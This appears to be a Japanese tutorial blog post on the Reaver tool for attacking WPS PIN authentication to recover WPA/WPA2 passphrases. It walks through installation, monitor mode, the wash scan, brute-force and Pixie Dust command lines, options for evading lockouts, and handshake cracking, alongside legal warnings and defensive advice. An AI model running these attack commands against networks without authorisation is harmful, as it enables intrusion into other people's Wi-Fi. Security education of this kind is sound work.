WPSの仕組みとその脆弱性、Reaverの利用方法について学びましょう。
はじめに:Reaverとは?
Reaverは、無線LANのセキュリティ設定を簡単に行うための規格であるWPS(Wi-Fi Protected Setup)のPIN認証方式に存在する脆弱性を悪用し、アクセスポイントのWPA/WPA2パスフレーズを特定するために設計されたオープンソースのツールです。
具体的には、WPS PINコード(通常は8桁の数字)をブルートフォース(総当たり)攻撃によって解読しようと試みます。
WPS (Wi-Fi Protected Setup) とは? 🤔
WPSは、無線LANへの接続設定を簡略化するための標準規格です。主に以下の接続方式があります。
- PIN (Personal Identification Number) 方式: デバイス(クライアント)またはアクセスポイント(ルーター)に表示される8桁のPINコードを入力して接続する方法。Reaverはこの方式の脆弱性を標的とします。
- PBC (Push Button Configuration) 方式: デバイスとアクセスポイントのWPSボタンを特定の時間内に押すことで接続を確立する方法。
Reaverが悪用するのは、主にPIN方式の設計上の欠陥です。
Reaverが悪用する脆弱性について
Reaverが利用するWPS PINの脆弱性は、2011年12月に研究者Stefan Viehböckによって発見・報告されました。この脆弱性の核心は、8桁のPINコードの認証プロセスにあります。
8桁のPINは、実際には前半4桁と後半4桁(最後の1桁はチェックサム)に分けて認証されます。攻撃者はまず前半の4桁(10^4 = 10,000通り)を試し、次に後半の3桁(10^3 = 1,000通り)を試すだけでよいため、総当たりで試行する組み合わせの総数が大幅に減少します。理論上は最大11,000回の試行で正しいPINを特定できてしまいます。
非常に重要:法的警告と倫理的配慮 🚨
Reaverのようなツールを使用する際には、法的な側面と倫理的な側面を十分に理解しておく必要があります。
- 許可なく他人のネットワークに侵入する行為は、多くの国で違法です。 日本においても、不正アクセス行為の禁止等に関する法律(不正アクセス禁止法)により厳しく罰せられます。
- このガイドは、自身のネットワークのセキュリティをテストする目的、または明確な許可を得たネットワークに対してのみ使用されることを前提としています。
- 教育目的および自己責任の原則のもとで情報を参照してください。不正利用によって生じたいかなる損害についても、責任を負いかねます。
⚠️ 絶対に許可なく他者のネットワークに対してReaverを使用しないでください。⚠️
Reaverのインストール 💻
Reaverを使用するには、主にLinuxベースのオペレーティングシステムが必要です。また、モニターモードとパケットインジェクションに対応した無線LANアダプターが必須となります。
前提条件
- Linux環境: Kali Linux, Parrot OS, Ubuntu, Debianなどが一般的です。これらのディストリビューションには、必要なツールがプリインストールされているか、簡単にインストールできる場合が多いです。
- 互換性のある無線LANアダプター: モニターモードに対応している必要があります。
aircrack-ng
スイートに含まれるairmon-ng
コマンドで確認できます。一般的に、Atheros, Ralink, Realtek (一部) のチップセットが対応していることが多いですが、互換性はモデルによります。 - 依存パッケージ: `libpcap-dev`, `sqlite3`, `libsqlite3-dev`, `libssl-dev` などが必要になる場合があります。
インストール方法
多くのLinuxディストリビューションでは、パッケージマネージャーを使用して簡単にインストールできます。
Debian / Ubuntu / Kali Linux の場合 (apt)
sudo apt update
sudo apt install reaver
Arch Linux / BlackArch の場合 (pacman)
sudo pacman -Syu reaver
ソースからコンパイルする場合 (非推奨、上級者向け)
最新版や特定のバージョンが必要な場合は、GitHubなどからソースコードをダウンロードしてコンパイルすることも可能ですが、依存関係の解決などが必要となり複雑です。
# 例:依存パッケージのインストール (Debian/Ubuntu系)
sudo apt install build-essential libpcap-dev libsqlite3-dev
# ソースコードの取得 (URLは例です)
git clone https://github.com/t6x/reaver-wps-fork-t6x.git
cd reaver-wps-fork-t6x/src
# コンパイルとインストール
./configure
make
sudo make install
インストール確認
インストールが成功したか確認するには、以下のコマンドを実行します。
reaver --version
バージョン情報が表示されれば、インストールは正常に完了しています。👍
攻撃前の準備 📡
Reaverを実行する前に、いくつかの準備ステップが必要です。
1. 無線LANアダプターの確認
まず、システムに認識されている無線LANアダプターを確認します。
iwconfig
または
ip link show
通常、wlan0
や wlan1
のような名前で表示されます。
2. モニターモードへの切り替え
Reaverは、無線LANアダプターがモニターモードで動作している必要があります。airmon-ng
ツール(aircrack-ng
スイートの一部)を使用して切り替えるのが一般的です。
# airmon-ng が干渉する可能性のあるプロセスをチェック (必要であれば停止)
sudo airmon-ng check kill
# モニターモードを開始 (wlan0 は実際のインターフェース名に置き換えてください)
sudo airmon-ng start wlan0
成功すると、Monitor mode enabled on wlan0mon
(または同様のメッセージ) が表示され、新しいモニターモードのインターフェース名(例: wlan0mon
)が作成されます。この新しいインターフェース名を後のコマンドで使用します。
sudo airmon-ng stop wlan0mon
コマンドでモニターモードを停止し、ネットワークサービスを再起動(例: sudo systemctl restart NetworkManager
)する必要があるかもしれません。
3. ターゲットネットワークのスキャン (Wash)
次に、WPSが有効になっている脆弱な可能性のあるアクセスポイントをスキャンします。Reaverには wash
という補助ツールが含まれており、これを使用します。
# wlan0mon はモニターモードのインターフェース名
sudo wash -i wlan0mon
wash
は、周辺のWPS対応アクセスポイントをリスト表示します。注目すべき情報は以下の通りです。
- BSSID: アクセスポイントのMACアドレス。Reaverのターゲット指定に使用します。
- ESSID: アクセスポイントのネットワーク名(SSID)。
- WPS Version: 対応しているWPSのバージョン。
- WPS Locked: WPS機能がロックされているかどうか (
Yes
/No
)。Yes
の場合、PIN試行が一時的にブロックされている可能性があります。 - Channel: アクセスポイントが使用している無線チャンネル。
⚠️ 再度強調しますが、スキャンして見つかったネットワークのうち、自分が所有しているか、テストする許可を明確に得ているものだけをターゲットにしてください。
BSSID Channel RSSI WPS Version WPS Locked ESSID
--------------------------------------------------------------------------------------
XX:XX:XX:XX:XX:A1 11 -50 1.0 No MyHomeNetwork
YY:YY:YY:YY:YY:B2 6 -65 1.0 No NeighborsWifi
ZZ:ZZ:ZZ:ZZ:ZZ:C3 1 -70 1.0 Yes SomeCafeAP
この例では、MyHomeNetwork
(BSSID: XX:XX:XX:XX:XX:A1) がWPSに対応しており、ロックされていないため、テスト対象となり得ます(自分が所有している場合)。
Reaverの基本的な使い方 🚀
準備が整ったら、いよいよReaverを実行します。基本的なコマンド構造は以下の通りです。
sudo reaver -i [モニターモードのインターフェース名] -b [ターゲットのBSSID] -vv
コマンドオプションの解説
sudo
: Reaverは通常、管理者権限(root権限)が必要です。-i [インターフェース名]
: モニターモードになっている無線LANアダプターのインターフェース名を指定します。(例:wlan0mon
)-b [BSSID]
: 攻撃対象とするアクセスポイントのBSSID(MACアドレス)を指定します。(例:XX:XX:XX:XX:XX:A1
)-vv
(または-vvv
): 詳細な情報を表示します (Verbose)。PINの試行状況、成功/失敗、パーセンテージなどをリアルタイムで確認できます。デバッグや状況把握に役立ちます。
実行例
例えば、モニターモードのインターフェースが wlan0mon
で、ターゲットのBSSIDが XX:XX:XX:XX:XX:A1
の場合、コマンドは以下のようになります。
sudo reaver -i wlan0mon -b XX:XX:XX:XX:XX:A1 -vv
攻撃中の挙動
Reaverを実行すると、以下のような動作が始まります。
- ターゲットAPへの関連付け (Association) を試みます。
- PINコードの試行を開始します。通常、前半4桁から試行されます。
-vv
オプションをつけていると、試行中のPIN、アクセスポイントからの応答(M1-M7メッセージ)、現在の進捗状況(%)などが表示されます。- 試行には時間がかかります。アクセスポイントの応答速度や、設定されている遅延(後述)によっては、数時間から半日以上かかることもあります。
- タイムアウトやエラーが頻発する場合、信号強度が弱い、アクセスポイント側でレート制限がかかっている、などの原因が考えられます。
[+] Waiting for beacon from XX:XX:XX:XX:XX:A1
[+] Associated with XX:XX:XX:XX:XX:A1 (ESSID: MyHomeNetwork)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
... (M1-M7 messages) ...
[+] Trying pin 9876XXXX
[+] WPS PIN: '12345678'
[+] WPA PSK: 'MySecretPassword'
[+] AP SSID: 'MyHomeNetwork'
成功した場合 ✨
攻撃が成功すると、Reaverは検出したWPS PINと、それによって取得できたWPA/WPA2パスフレーズ(PSK)を表示して終了します。🎉
取得した情報は、将来の参照のために自動的にファイルに保存されることもあります(通常は /usr/local/etc/reaver/
または現在のディレクトリにBSSID名のファイルとして)。
高度なオプションとトラブルシューティング ⚙️🔧
基本的な使い方でうまくいかない場合や、特定の状況に対応するために、Reaverには多くのオプションが用意されています。
よくある問題と対処法
問題:WPS Locked (Rate Limiting) ⏳
短時間に多くのPIN試行が失敗すると、アクセスポイントがWPS機能を一時的にロックすることがあります。wash
で確認でき、Reaverの実行中にも警告が表示されることがあります。
- 対処法1: 待機する。 ロックは一定時間(数分~数時間)で解除されることが多いです。
- 対処法2: 遅延オプションを使う。
-d [秒数]
(例:-d 15
) でPIN試行間の遅延を長く設定し、ロックされるのを防ぎます。ただし、攻撃全体の時間が長くなります。 - 対処法3:
--ignore-locks
オプション。 Reaverがロックを検知しても無視して試行を続けるようにします。ただし、APによっては効果がないか、逆効果になる可能性もあります。 - 対処法4:
-L
オプション。 WPSロックを無視する (L steht für Lock Ignorieren)。
問題:タイムアウトや失敗が頻発する 🚫
[!] WARNING: Receive timeout occurred
や [!] WARNING: Failed to associate
などのエラーが多発する場合。
- 原因1: 信号強度が弱い。 アクセスポイントに近づくか、より高性能なアンテナを使用します。
- 原因2: チャンネル指定の問題。 APがチャンネルを頻繁に変更する場合や、
wash
で検出したチャンネルが正しくない場合、-c [チャンネル番号]
(例:-c 11
) でチャンネルを明示的に指定します。 - 原因3: アクセスポイントの互換性。 すべてのアクセスポイントがReaverの攻撃に対して脆弱なわけではありません。
- 対処法: タイムアウト値の調整。
-t [秒数]
(例:-t 5
) で応答待ちのタイムアウト時間を調整します。 - 対処法:
-N
オプション。 NACK (Negative Acknowledgement) メッセージを送信しないようにします。一部のAPではこれにより安定性が向上することがあります。 - 対処法:
-S
オプション。 より小さい Diffie-Hellman 鍵を使用します。互換性の問題がある場合に役立つことがあります。
便利なオプション一覧
オプション | 説明 | 例 |
---|---|---|
-c [チャンネル] |
ターゲットAPのチャンネルを指定します。 | -c 6 |
-p [PIN] |
特定のPINから攻撃を開始します。中断した攻撃を再開する場合や、PINの一部がわかっている場合に使用します。(例: 前半4桁が判明している場合 -p 1234 ) |
-p 55550000 |
-d [秒数] |
各PIN試行間の遅延(秒)。レート制限を回避するために使用します。 | -d 10 |
-t [秒数] |
セッションタイムアウトまでの秒数。応答が遅いAPに対して値を増やします。 | -t 5 |
-L |
WPSロックを無視します。 | -L |
--ignore-locks |
-L と同様に、検出されたWPSロックを無視します。 |
--ignore-locks |
-N |
M5/M7メッセージに対するNACKを送信しません。互換性問題の回避に役立つことがあります。 | -N |
-S |
より小さいDH鍵を使用します。互換性問題の回避に役立つことがあります。 | -S |
-K 1 (Pixie Dust) |
Pixie Dust 攻撃を実行します。特定の脆弱なAPに対して、PIN全体を数秒〜数分で解読できる可能性があります。別途 pixiewps が必要です。 |
-K 1 |
-o [ファイル名] |
ログを指定したファイルに出力します。 | -o reaver_log.txt |
-s [ファイル名] |
セッションを保存/復元するためのファイル名を指定します。中断・再開に便利です。 | -s my_session |
-vv / -vvv |
詳細な情報を表示します。デバッグに必須です。 | -vv |
Pixie Dust 攻撃 (-K 1) ✨🧚
Pixie Dust 攻撃は、2014年にDominique Bongardによって発見された比較的新しいWPSの脆弱性を利用する手法です。これは、一部のアクセスポイント(特にBroadcom, Ralink, Realtekなどのチップセットを搭載したもの)が、WPS認証プロセス中に使用される鍵(E-Hash1, E-Hash2)を生成する際の乱数生成が不十分であるという欠陥を突きます。
この脆弱性がある場合、APとの数回のやり取り(M1-M7メッセージ交換)だけで、必要な情報を取得し、オフラインでPIN全体を計算できます。これにより、従来のブルートフォース攻撃のように何時間もかける必要がなく、数秒から数分でPINを特定できる可能性があります。
ReaverでPixie Dust攻撃を行うには、-K 1
オプションを指定します。ただし、この攻撃を計算するためのツール pixiewps
が別途インストールされている必要があります。
# pixiewps がインストールされているか確認
sudo apt install pixiewps # Debian/Ubuntu/Kali の場合
# Pixie Dust 攻撃を実行
sudo reaver -i wlan0mon -b XX:XX:XX:XX:XX:A1 -c [チャンネル] -K 1 -vv
すべてのAPがPixie Dust攻撃に対して脆弱なわけではありませんが、もし対象APが脆弱であれば、これが最も高速な攻撃方法となります。
Reaverの限界と現代における有効性 📉
Reaverはかつて非常に効果的なツールでしたが、その有効性は時間とともに低下しています。
WPS脆弱性への対策
2011年の脆弱性公開以降、多くのルーターメーカーは対策を講じてきました。
- ファームウェアアップデート: 脆弱性を修正、または緩和するアップデートが提供されました。
- レート制限の強化: 短時間に多数のPIN試行があった場合に、より積極的にWPS機能をロックするようになりました。ロック時間も長くなる傾向があります。
- WPS PIN方式のデフォルト無効化: 新しいルーターでは、WPSのPIN方式が初期設定で無効になっている、または完全に廃止されている場合があります。PBC(プッシュボタン)方式のみが利用可能な場合が多いです。
- ユーザーへの警告: WPS PIN方式の利用はセキュリティリスクがあることをユーザーに通知するメーカーもあります。
現代におけるReaverの有効性
上記のような対策の結果、現代の新しい、または適切にアップデートされたルーターに対してReaverが成功する可能性は大幅に低下しています。
- 古いルーターや、ファームウェアが更新されていないルーターに対しては、依然として有効な場合があります。
- Pixie Dust 攻撃 (
-K 1
) は、特定の脆弱なチップセットを搭載した比較的新しいルーターに対しても有効な場合がありますが、これも万能ではありません。 - 多くのネットワークでは、WPS自体が無効化されているか、PIN方式が利用できなくなっています。
したがって、無線LANのセキュリティテストを行う際には、Reaverだけに頼るのではなく、他の手法も検討する必要があります。
代替となる手法
WPS PIN攻撃が有効でない場合、以下のような他のアプローチが考えられます。
- WPA/WPA2ハンドシェイクのキャプチャとオフラインクラック:
airodump-ng
でネットワークトラフィックを監視し、クライアントがAPに接続する際の認証プロセス(4ウェイハンドシェイク)をキャプチャします。- キャプチャしたハンドシェイクファイル (.cap) を、
aircrack-ng
やhashcat
などのツールとパスワード辞書(ワードリスト)を使ってオフラインで解析し、パスフレーズを特定しようと試みます。 - この方法はパスワードの強度に大きく依存します。強力なパスワード(長く、複雑で、辞書に載っていないもの)を使用している場合、解読は非常に困難または事実上不可能です。
- ソーシャルエンジニアリング: 技術的な手法ではなく、人間を騙してパスワードを聞き出すなどの方法ですが、これも不正アクセスにあたる可能性があります。
- 物理的なアクセス: ルーター本体にアクセスできれば、リセットボタンを押したり、ラベルに記載されたデフォルトパスワードを確認したりできる場合があります。
現代の無線LANセキュリティにおいては、WPA3などのより新しい規格や、強力なパスフレーズの設定、不要な機能(特にWPS PIN)の無効化が重要となっています。
🚨 最重要:法的警告と倫理的配慮 (再掲) 🚨
このガイドで解説したReaverの使用は、強力なツールであると同時に、悪用される危険性も伴います。以下の点を絶対に忘れないでください。
- 許可のないネットワークへのアクセス試行は犯罪です。 不正アクセス禁止法などの法律により、厳しい罰則(懲役や罰金)が科せられる可能性があります。逮捕事例も存在します。
- Reaverの使用は、自分自身が管理するネットワークのセキュリティ強度をテストする目的、または、ネットワーク所有者から書面による明確な許可を得ている場合に限定してください。
- 知識は防御のために使うべきです。自分のネットワークでWPS PINが無効になっているか、ルーターのファームウェアが最新かを確認し、強力でユニークなWPA2/WPA3パスフレーズを設定することが、最も重要な対策です。
- この情報を悪用した結果生じるいかなる問題についても、責任を負うことはできません。ツールの使用は自己責任で行ってください。
🚫 倫理観を持ち、法律を遵守してください 🚫
まとめ 🙏
Reaverは、WPS PIN方式の脆弱性を突くことでWPA/WPA2パスフレーズを特定できる可能性のあるツールです。その仕組みは、PIN認証プロセスが分割されている点を悪用したブルートフォース攻撃、または特定のチップセットの乱数生成の弱点を突くPixie Dust攻撃に基づいています。
しかし、近年ではルーター側の対策が進み、Reaverが成功する可能性は以前よりも低くなっています。特に、新しいデバイスやファームウェアが更新されたデバイスに対しては、効果が限定的です。
最も重要なことは、Reaverのようなツールは倫理的かつ合法的な範囲内で、自己所有のネットワークや許可されたネットワークのテストにのみ使用することです。許可なく他者のネットワークに侵入することは絶対に避けてください。
自身のネットワークを守るためには、以下の対策を推奨します。
- ルーターの管理画面にアクセスし、WPS機能を無効にする(特にPIN方式)。
- ルーターのファームウェアを常に最新の状態に保つ。
- 推測されにくい、長く複雑なWPA2またはWPA3パスフレーズを設定する。
セキュリティツールについての知識は、自分自身や他者を守るために活用しましょう。🛡️
コメント